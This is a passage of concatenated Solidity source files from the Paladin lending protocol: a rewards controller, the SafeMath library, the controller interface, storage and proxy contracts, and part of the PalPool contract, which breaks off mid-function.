state.index = safe224(uint(state.index).add(ratio));
state.blockNumber = safe32(currentBlock);
}
else if(ellapsedBlocks > 0){
// If blocks ellapsed, but no rewards to distribute (speed == 0),
// just write the last update block number
state.blockNumber = safe32(currentBlock);
}
}
/**
* @notice Internal - Accrues rewards token to the user claimable balance, depending on the Pool SupplyRewards state
* @param palPool address of the PalPool the user interracted with
* @param user address of the user to accrue rewards to
*/
function accrueSupplyRewards(address palPool, address user) internal {
// Get the Pool current SupplyRewards state
PoolRewardsState storage state = supplyRewardState[palPool];
// Get the current reward index for the Pool
// And the user last reward index
uint currentSupplyIndex = state.index;
uint userSupplyIndex = supplierRewardIndex[palPool][user];
// Update the Index in the mapping, the local value is used after
supplierRewardIndex[palPool][user] = currentSupplyIndex;
if(userSupplyIndex == 0 && currentSupplyIndex >= initialRewardsIndex){
// Set the initial Index for the user
userSupplyIndex = initialRewardsIndex;
}
// Get the difference of index with the last one for user
uint indexDiff = currentSupplyIndex.sub(userSupplyIndex);
if(indexDiff > 0){
// And using the user PalToken balance deposited in the Controller,
// we can get how much rewards where accrued
uint userBalance = supplierDeposits[palPool][user];
uint userAccruedRewards = userBalance.mul(indexDiff).div(1e36);
// Add the new amount of rewards to the user total claimable balance
accruedRewards[user] = accruedRewards[user].add(userAccruedRewards);
}
}
/**
* @notice Internal - Saves the BorrowRewards Ratio for a PalLoan, depending on the PalPool
* @param palPool address of the PalPool the Loan comes from
* @param loanAddress address of the PalLoan contract
*/
function setLoanBorrowRewards(address palPool, address loanAddress) internal {
// Saves the current Borrow Reward Ratio to use for that Loan rewards at Closing/Killing
loansBorrowRatios[loanAddress] = borrowRatios[palPool];
}
/**
* @notice Internal - Accrues reward to the PalLoan owner when the Loan is closed (if the auto-accrue rewards is on for the Pool)
* @param palPool address of the PalPool the Loan comes from
* @param loanAddress address of the PalLoan contract
*/
function accrueBorrowRewards(address palPool, address loanAddress) internal {
// Get the PalLoan BorrowRatio for rewards
uint loanBorrowRatio = loansBorrowRatios[loanAddress];
// Skip if no rewards set for the PalLoan OR if rewards were already claimed for the PalLoan
if(loanBorrowRatio > 0 && !isLoanRewardClaimed[loanAddress]){
IPalPool pool = IPalPool(palPool);
// Get the Borrower, and the amount of fees used by the Loan
// And using the borrowRatio, accrue rewards for the borrower
// The amount ot be accrued is calculated as feesUsed * borrowRatio
(address borrower,,,,,,,uint feesUsedAmount,,,,) = pool.getBorrowData(loanAddress);
uint userAccruedRewards = feesUsedAmount.mul(loanBorrowRatio).div(1e18);
// Add the new amount of rewards to the user total claimable balance
accruedRewards[borrower] = accruedRewards[borrower].add(userAccruedRewards);
// Set this Loan rewards as claimed/distributed
isLoanRewardClaimed[loanAddress] = true;
}
}
function _calculateLoanRewards(address palPool, address loanAddress) internal view returns(uint){
// Rewards already claimed
if(isLoanRewardClaimed[loanAddress]) return 0;
IPalPool pool = IPalPool(palPool);
(,,,,,,,uint feesUsedAmount,uint loanStartBlock,,bool closed,) = pool.getBorrowData(loanAddress);
// Need the Loan to be closed before accruing rewards
if(!closed) return 0;
// Loan as taken before Borrow Rewards were set
if(borrowRewardsStartBlock[palPool] == 0 || borrowRewardsStartBlock[palPool] > loanStartBlock) return 0;
// Calculate the amount of rewards based on the Pool ratio & the amount of usedFees in the Loan
uint poolBorrowRatio = loansBorrowRatios[loanAddress] > 0 ? loansBorrowRatios[loanAddress] : borrowRatios[palPool];
return feesUsedAmount.mul(poolBorrowRatio).div(1e18);
}
/**
* @notice Returns the current amount of reward tokens the user can claim for a PalLoan
* @param palPool address of the PalPool
* @param loanAddress address of the PalLoan
*/
function claimableLoanRewards(address palPool, address loanAddress) external view override returns(uint) {
return _calculateLoanRewards(palPool, loanAddress);
}
function claimLoanRewards(address palPool, address loanAddress) external lock override {
IPalPool pool = IPalPool(palPool);
(address borrower,,,,,,,,,,bool closed,) = pool.getBorrowData(loanAddress);
// Check if the PalLoan has some claimable rewards, and if it was not claimed already
require(msg.sender == borrower, Errors.NOT_LOAN_OWNER);
uint claimableAmount = _calculateLoanRewards(palPool, loanAddress);
require(closed && claimableAmount != 0, Errors.NOT_CLAIMABLE);
// Set this Loan rewards as claimed/distributed
isLoanRewardClaimed[loanAddress] = true;
// Transfer the rewards to the borrower
IERC20 token = IERC20(rewardToken());
require(claimableAmount <= token.balanceOf(address(this)), Errors.REWARDS_CASH_TOO_LOW);
token.safeTransfer(borrower, claimableAmount);
emit ClaimRewards(borrower, claimableAmount);
}
/**
* @notice Returns the current amount of reward tokens the user can claim
* @param user address of user
*/
function claimable(address user) external view override returns(uint) {
return accruedRewards[user];
}
/**
* @notice Returns the current amount of reward tokens the user can claim + the estimation from last Supplier Index updates
* @param user address of user
*/
function estimateClaimable(address user) external view override returns(uint){
//All the rewards already accrued and not claimed
uint _total = accruedRewards[user];
//Calculate the estimated pending rewards for all Pools for the user
//(depending on the last Pool's updateSupplyIndex)
address[] memory _pools = palPools;
for(uint i = 0; i < _pools.length; i++){
// Get the current reward index for the Pool
// And the user last reward index
uint currentSupplyIndex = supplyRewardState[_pools[i]].index;
uint userSupplyIndex = supplierRewardIndex[_pools[i]][user];
if(userSupplyIndex == 0 && currentSupplyIndex >= initialRewardsIndex){
// Set the initial Index for the user
userSupplyIndex = initialRewardsIndex;
}
// Get the difference of index with the last one for user
uint indexDiff = currentSupplyIndex.sub(userSupplyIndex);
if(indexDiff > 0){
// And using the user PalToken balance deposited in the Controller,
// we can get how much rewards where accrued
uint userBalance = supplierDeposits[_pools[i]][user];
uint userAccruedRewards = userBalance.mul(indexDiff).div(1e36);
// Add the new amount of rewards to the user total claimable balance
_total = _total.add(userAccruedRewards);
}
}
return _total;
}
/**
* @notice Update the claimable rewards for a given user
* @param user address of user
*/
function updateUserRewards(address user) public override {
address[] memory _pools = palPools;
for(uint i = 0; i < _pools.length; i++){
// Need to update the Supply Index
updateSupplyIndex(_pools[i]);
// To then accrue the user rewards for that Pool
//set at 0 & true for amount & positive, since no change in user LP position
accrueSupplyRewards(_pools[i], user);
// No need to do it for the Borrower rewards
}
}
/**
* @notice Accrues rewards for the user, then send all rewards tokens claimable
* @param user address of user
*/
function claim(address user) external lock override {
// Accrue any claimable rewards for all the Pools for the user
updateUserRewards(user);
// Get current amount claimable for the user
uint toClaim = accruedRewards[user];
// If there is a claimable amount
if(toClaim > 0){
IERC20 token = IERC20(rewardToken());
require(toClaim <= token.balanceOf(address(this)), Errors.REWARDS_CASH_TOO_LOW);
// All rewards were accrued and sent to the user, reset the counter
accruedRewards[user] = 0;
// Transfer the tokens to the user
token.safeTransfer(user, toClaim);
emit ClaimRewards(user, toClaim);
}
}
/**
* @notice Returns the global Supply distribution speed
* @return uint : Total Speed
*/
function totalSupplyRewardSpeed() external view override returns(uint) {
// Sum up the SupplySpeed for all the listed PalPools
address[] memory _pools = palPools;
uint totalSpeed = 0;
for(uint i = 0; i < _pools.length; i++){
totalSpeed = totalSpeed.add(supplySpeeds[_pools[i]]);
}
return totalSpeed;
}
/** @notice Address of the reward Token (PAL token) */
function rewardToken() public view returns(address) {
return rewardTokenAddress;
}
//Admin function
function becomeImplementation(ControllerProxy proxy) external override adminOnly {
// Only to call after the contract was set as Pending Implementation in the Proxy contract
// To accept the delegatecalls, and update the Implementation address in the Proxy
require(proxy.acceptImplementation(), Errors.FAIL_BECOME_IMPLEMENTATION);
}
function updateRewardToken(address newRewardTokenAddress) external override adminOnly {
rewardTokenAddress = newRewardTokenAddress;
}
// Allows to withdraw reward tokens from the Controller if rewards are removed or changed
function withdrawRewardToken(uint256 amount, address recipient) external override adminOnly {
require(recipient != address(0), Errors.ZERO_ADDRESS);
require(amount > 0, Errors.INVALID_PARAMETERS);
IERC20 token = IERC20(rewardToken());
require(amount <= token.balanceOf(address(this)), Errors.BALANCE_TOO_LOW);
token.safeTransfer(recipient, amount);
}
function setPoolsNewController(address newController) external override adminOnly returns(bool){
address[] memory _pools = palPools;
for(uint i = 0; i < _pools.length; i++){
IPalPool _palPool = IPalPool(_pools[i]);
_palPool.setNewController(newController);
}
return true;
}
function withdrawFromPool(address pool, uint amount, address recipient) external override adminOnly returns(bool){
IPalPool _palPool = IPalPool(pool);
_palPool.withdrawFees(amount, recipient);
return true;
}
// set a pool rewards values (admin)
function updatePoolRewards(address palPool, uint newSupplySpeed, uint newBorrowRatio, bool autoBorrowReward) external override adminOnly {
require(isPalPool(palPool), Errors.POOL_NOT_LISTED);
if(newSupplySpeed != supplySpeeds[palPool]){
//Make sure it's updated before setting the new speed
updateSupplyIndex(palPool);
supplySpeeds[palPool] = newSupplySpeed;
}
if(newBorrowRatio != borrowRatios[palPool]){
borrowRatios[palPool] = newBorrowRatio;
}
if(borrowRewardsStartBlock[palPool] == 0 && newBorrowRatio != 0){
borrowRewardsStartBlock[palPool] = block.number;
}
else if(newBorrowRatio == 0){
borrowRewardsStartBlock[palPool] = 0;
}
autoBorrowRewards[palPool] = autoBorrowReward;
emit PoolRewardsUpdated(palPool, newSupplySpeed, newBorrowRatio, autoBorrowReward);
}
//Math utils
function safe224(uint n) internal pure returns (uint224) {
require(n < 2**224, "Number is over 224 bits");
return uint224(n);
}
function safe32(uint n) internal pure returns (uint32) {
require(n < 2**32, "Number is over 32 bits");
return uint32(n);
}
}
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
import "./ControllerProxy.sol";
/** @title Paladin Controller Interface */
/// @author Paladin
interface IPaladinController {
//Events
/** @notice Event emitted when a new token & pool are added to the list */
event NewPalPool(address palPool, address palToken);
/** @notice Event emitted when a token & pool are removed from the list */
event RemovePalPool(address palPool, address palToken);
event Deposit(address indexed user, address palToken, uint amount);
event Withdraw(address indexed user, address palToken, uint amount);
event ClaimRewards(address indexed user, uint amount);
event PoolRewardsUpdated(address palPool, uint newSupplySpeed, uint newBorrowRatio, bool autoBorrowReward);
//Functions
function isPalPool(address pool) external view returns(bool);
function getPalTokens() external view returns(address[] memory);
function getPalPools() external view returns(address[] memory);
function setInitialPools(address[] memory palTokens, address[] memory palPools) external returns(bool);
function addNewPool(address palToken, address palPool) external returns(bool);
function removePool(address palPool) external returns(bool);
function withdrawPossible(address palPool, uint amount) external view returns(bool);
function borrowPossible(address palPool, uint amount) external view returns(bool);
function depositVerify(address palPool, address dest, uint amount) external returns(bool);
function withdrawVerify(address palPool, address dest, uint amount) external returns(bool);
function borrowVerify(address palPool, address borrower, address delegatee, uint amount, uint feesAmount, address loanAddress) external returns(bool);
function expandBorrowVerify(address palPool, address loanAddress, uint newFeesAmount) external returns(bool);
function closeBorrowVerify(address palPool, address borrower, address loanAddress) external returns(bool);
function killBorrowVerify(address palPool, address killer, address loanAddress) external returns(bool);
// PalToken Deposit/Withdraw functions
function deposit(address palToken, uint amount) external returns(bool);
function withdraw(address palToken, uint amount) external returns(bool);
// Rewards functions
function totalSupplyRewardSpeed() external view returns(uint);
function claimable(address user) external view returns(uint);
function estimateClaimable(address user) external view returns(uint);
function updateUserRewards(address user) external;
function claim(address user) external;
function claimableLoanRewards(address palPool, address loanAddress) external view returns(uint);
function claimLoanRewards(address palPool, address loanAddress) external;
//Admin functions
function becomeImplementation(ControllerProxy proxy) external;
function updateRewardToken(address newRewardTokenAddress) external;
function withdrawRewardToken(uint256 amount, address recipient) external;
function updatePoolRewards(address palPool, uint newSupplyspeed, uint newBorrowRatio, bool autoBorrowReward) external;
function setPoolsNewController(address newController) external returns(bool);
function withdrawFromPool(address pool, uint amount, address recipient) external returns(bool);
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
import "./utils/Admin.sol";
/** @title Paladin Controller contract */
/// @author Paladin
contract ControllerStorage is Admin {
/** @notice Layout for the Proxy contract */
address public currentImplementation;
address public pendingImplementation;
/** @notice List of current active palToken Pools */
address[] public palTokens;
address[] public palPools;
mapping(address => address) public palTokenToPalPool;
bool internal initialized;
/** @notice Struct with current SupplyIndex for a Pool, and the block of the last update */
struct PoolRewardsState {
uint224 index;
uint32 blockNumber;
}
/** @notice Initial index for Rewards */
uint224 public constant initialRewardsIndex = 1e36;
address public rewardTokenAddress; // PAL token address to put here
/** @notice State of the Rewards for each Pool */
mapping(address => PoolRewardsState) public supplyRewardState;
/** @notice Amount of reward tokens to distribute each block */
mapping(address => uint) public supplySpeeds;
/** @notice Last reward index for each Pool for each user */
/** PalPool => User => Index */
mapping(address => mapping(address => uint)) public supplierRewardIndex;
/** @notice Deposited amounts by user for each palToken (indexed by corresponding PalPool address) */
/** PalPool => User => Amount */
mapping(address => mapping(address => uint)) public supplierDeposits;
/** @notice Total amount of each palToken deposited (indexed by corresponding PalPool address) */
/** PalPool => Total Amount */
mapping(address => uint) public totalSupplierDeposits;
/** @notice Ratio to distribute Borrow Rewards */
mapping(address => uint) public borrowRatios; // scaled 1e18
/** @notice Ratio for each PalLoan (set at PalLoan creation) */
mapping(address => uint) public loansBorrowRatios; // scaled 1e18
/** @notice Amount of reward Tokens accrued by the user, and claimable */
mapping(address => uint) public accruedRewards;
/** @notice Is Auto Borrow Rewards is activated for the PalPool */
mapping(address => bool) public autoBorrowRewards;
/** @notice Was PalLoan Borrow Rewards distributed & claimed */
mapping(address => bool) public isLoanRewardClaimed;
/** @notice Block at which Borrow Rewards Ratio where set for the PalPool (if Ratio is put back to 0, this block number is set back to 0 too) */
/** So PalLoan started when no Borrow Rewards where set do not receive rewards */
/** PalPool => Block Number */
mapping(address => uint) public borrowRewardsStartBlock;
/** @dev Prevent reentry in some functions */
bool internal locked;
/*
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!! ALWAYS PUT NEW STORAGE AT THE BOTTOM !!!!!!!!!!!!!!!!!!
!!!!!!!!! WE DON'T WANT COLLISION WHEN SWITCHING IMPLEMENTATIONS !!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
import "./utils/Errors.sol";
import "./ControllerStorage.sol";
/** @title Paladin Controller contract */
/// @author Paladin
contract ControllerProxy is ControllerStorage {
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
event NewImplementation(address oldImplementation, address newImplementation);
constructor(){
admin = msg.sender;
}
/**
* @dev Proposes the address of a new Implementation (the new Controller contract)
*/
function proposeImplementation(address newPendingImplementation) public adminOnly {
address oldPendingImplementation = pendingImplementation;
pendingImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, newPendingImplementation);
}
/**
* @dev Accepts the Pending Implementation as new Current Implementation
* Only callable by the Pending Implementation contract
*/
function acceptImplementation() public returns(bool) {
require(msg.sender == pendingImplementation, Errors.CALLER_NOT_IMPLEMENTATION);
address oldImplementation = currentImplementation;
address oldPendingImplementation = pendingImplementation;
currentImplementation = pendingImplementation;
pendingImplementation = address(0);
emit NewImplementation(oldImplementation, currentImplementation);
emit NewPendingImplementation(oldPendingImplementation, pendingImplementation);
return true;
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
fallback() external payable {
// delegate all other functions to current implementation
(bool success, ) = currentImplementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 { revert(free_mem_ptr, returndatasize()) }
default { return(free_mem_ptr, returndatasize()) }
}
}
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
pragma abicoder v2;
//SPDX-License-Identifier: MIT
import "./utils/SafeMath.sol";
import "./utils/SafeERC20.sol";
import "./utils/Clones.sol";
import "./IPalPool.sol";
import "./PalPoolStorage.sol";
import "./IPalLoan.sol";
//import "./PalLoan.sol";
import "./IPalToken.sol";
import "./IPaladinController.sol";
import "./IPalLoanToken.sol";
import "./interests/InterestInterface.sol";
import "./utils/IERC20.sol";
import "./utils/Admin.sol";
import "./utils/ReentrancyGuard.sol";
import {Errors} from "./utils/Errors.sol";
/** @title PalPool contract */
/// @author Paladin
contract PalPool is IPalPool, PalPoolStorage, Admin, ReentrancyGuard {
using SafeMath for uint;
using SafeERC20 for IERC20;
modifier controllerOnly() {
//allows only the Controller and the admin to call the function
require(msg.sender == admin || msg.sender == address(controller), Errors.CALLER_NOT_CONTROLLER);
_;
}
//Functions
constructor(
address _palToken,
address _controller,
address _underlying,
address _interestModule,
address _delegator,
address _palLoanToken
){
//Set admin
admin = msg.sender;
//Set inital values & modules
palToken = IPalToken(_palToken);
controller = IPaladinController(_controller);
underlying = IERC20(_underlying);
accrualBlockNumber = block.number;
interestModule = InterestInterface(_interestModule);
borrowIndex = 1e18;
delegator = _delegator;
palLoanToken = IPalLoanToken(_palLoanToken);
}
/**
* @notice Get the underlying balance for this Pool
* @dev Get the underlying balance of this Pool
* @return uint : balance of this pool in the underlying token
*/
function underlyingBalance() public view returns(uint){
//Return the balance of this contract for the underlying asset
return underlying.balanceOf(address(this));
}
/**
* @notice Deposit underlying in the Pool
* @dev Deposit underlying, and mints palToken for the user
* @param _amount Amount of underlying to deposit
* @return bool : amount of minted palTokens
*/
function deposit(uint _amount) public virtual override nonReentrant returns(uint){
require(_updateInterest());
//Retrieve the current exchange rate palToken:underlying
uint _exchRate = _exchangeRate();
//Find the amount to mint depending on the amount to transfer
uint _num = _amount.mul(mantissaScale);
uint _toMint = _num.div(_exchRate);
//Transfer the underlying to this contract
//The amount of underlying needs to be approved before
underlying.safeTransferFrom(msg.sender, address(this), _amount);
//Mint the palToken
require(palToken.mint(msg.sender, _toMint), Errors.FAIL_MINT);
//Emit the Deposit event
emit Deposit(msg.sender, _amount, address(this));
//Use the controller to check if the minting was successfull
require(controller.depositVerify(address(this), msg.sender, _toMint), Errors.FAIL_DEPOSIT);
return _toMint;
}
/**
* @notice Withdraw underliyng token from the Pool
* @dev Transfer underlying token to the user, and burn the corresponding palToken amount
* @param _amount Amount of palToken to return
* @return uint : amount of underlying returned
*/
function withdraw(uint _amount) public virtual override nonReentrant returns(uint){
require(_updateInterest());
require(balanceOf(msg.sender) >= _amount, Errors.INSUFFICIENT_BALANCE);
//Retrieve the current exchange rate palToken:underlying
uint _exchRate = _exchangeRate();
//Find the amount to return depending on the amount of palToken to burn
uint _num = _amount.mul(_exchRate);
uint _toReturn = _num.div(mantissaScale);
//Check if the pool has enough underlying to return
require(_toReturn <= underlyingBalance(), Errors.INSUFFICIENT_CASH);
//Burn the corresponding palToken amount
require(palToken.burn(msg.sender, _amount), Errors.FAIL_BURN);
//Make the underlying transfer
underlying.safeTransfer(msg.sender, _toReturn);
//Use the controller to check if the burning was successfull
require(controller.withdrawVerify(address(this), msg.sender, _toReturn), Errors.FAIL_WITHDRAW);
//Emit the Withdraw event
emit Withdraw(msg.sender, _amount, address(this));
return _toReturn;
}
/**
* @dev Create a Borrow, deploy a Loan Pool and delegate voting power
* @param _delegatee Address to delegate the voting power to
* @param _amount Amount of underlying to borrow
* @param _feeAmount Amount of fee to pay to start the loan
* @return uint : new PalLoanToken Id
*/
function borrow(address _delegatee, uint _amount, uint _feeAmount) public virtual override nonReentrant returns(uint){
//Need the pool to have enough liquidity, and the interests to be up to date
require(_amount < underlyingBalance(), Errors.INSUFFICIENT_CASH);
require(_delegatee != address(0), Errors.ZERO_ADDRESS);
require(_amount > 0, Errors.ZERO_BORROW);
require(_feeAmount >= minBorrowFees(_amount), Errors.BORROW_INSUFFICIENT_FEES);
require(_updateInterest());
address _borrower = msg.sender;
//Update Total Borrowed & number active Loans
numberActiveLoans = numberActiveLoans.add(1);
totalBorrowed = totalBorrowed.add(_amount);
IPalLoan _newLoan = IPalLoan(Clones.clone(delegator));
//Send the borrowed amount of underlying tokens to the Loan
underlying.safeTransfer(address(_newLoan), _amount);
//And transfer the fees from the Borrower to the Loan
underlying.safeTransferFrom(_borrower, address(_newLoan), _feeAmount);
//Start the Loan (and delegate voting power)
require(_newLoan.initiate(
address(this),
_borrower,
address(underlying),
_delegatee,
_amount,
_feeAmount
), Errors.FAIL_LOAN_INITIATE);
//Add the new Loan to mappings
loans.push(address(_newLoan));
//Mint the palLoanToken linked to this new Loan
uint256 _newTokenId = palLoanToken.mint(_borrower, address(this), address(_newLoan));
//New Borrow struct for this Loan
loanToBorrow[address(_newLoan)] = Borrow(
_newTokenId,
_delegatee,
address(_newLoan),
_amount,
address(underlying),
_feeAmount,
0,
borrowIndex,
block.number,
0,
false,
false
);
//Check the borrow succeeded
require(
controller.borrowVerify(address(this), _borrower, _delegatee, _amount, _feeAmount, address(_newLoan)),
Errors.FAIL_BORROW
);
//Emit the NewLoan Event
emit NewLoan(
_borrower,
_delegatee,
address(underlying),
_amount,
address(this),
address(_newLoan),
_newTokenId,
block.number
);
//Return the PalLoanToken Id
return _newTokenId;
}
/**
* @notice Transfer the new fees to the Loan, and expand the Loan
* @param _loan Address of the Loan
* @param _feeAmount New amount of fees to pay
* @return bool : Amount of fees paid
*/
function expandBorrow(address _loan, uint _feeAmount) public virtual override nonReentrant returns(uint){
//Fetch the corresponding Borrow
//And check that the caller is the Borrower, and the Loan is still active
Borrow storage _borrow = loanToBorrow[_loan];
require(!_borrow.closed, Errors.LOAN_CLOSED);
require(isLoanOwner(_loan, msg.sender), Errors.NOT_LOAN_OWNER);
require(_feeAmount > 0);
require(_updateInterest());
//Load the Loan Pool contract & get Loan owner
IPalLoan _palLoan = IPalLoan(_borrow.loan);
address _loanOwner = palLoanToken.ownerOf(_borrow.tokenId);
_borrow.feesAmount = _borrow.feesAmount.add(_feeAmount);
//Transfer the new fees to the Loan
//If success, call the expand function of the Loan
underlying.safeTransferFrom(_loanOwner, _borrow.loan, _feeAmount);
require(_palLoan.expand(_feeAmount), Errors.FAIL_LOAN_EXPAND);
require(
controller.expandBorrowVerify(address(this), _loan, _feeAmount),
Errors.FAIL_LOAN_EXPAND
);
emit ExpandLoan(
_loanOwner,
_borrow.delegatee,
address(underlying),
address(this),
_borrow.feesAmount,
_borrow.loan,
_borrow.tokenId
);
return _feeAmount;
}
/**
* @notice Close a Loan, and return the non-used fees to the Borrower.
* If closed before the minimum required length, penalty fees are taken to the non-used fees
* @dev Close a Loan, and return the non-used fees to the Borrower
* @param _loan Address of the Loan
*/
function closeBorrow(address _loan) public virtual override nonReentrant {
//Fetch the corresponding Borrow
//And check that the caller is the Borrower, and the Loan is still active
Borrow storage _borrow = loanToBorrow[_loan];
require(!_borrow.closed, Errors.LOAN_CLOSED);
require(isLoanOwner(_loan, msg.sender), Errors.NOT_LOAN_OWNER);
require(_updateInterest());
//Get Loan owner from the ERC721 contract
address _loanOwner = palLoanToken.ownerOf(_borrow.tokenId);
//Load the Loan contract
IPalLoan _palLoan = IPalLoan(_borrow.loan);
//Calculates the amount of fees used
uint _feesUsed = (_borrow.amount.mul(borrowIndex).div(_borrow.borrowIndex)).sub(_borrow.amount);
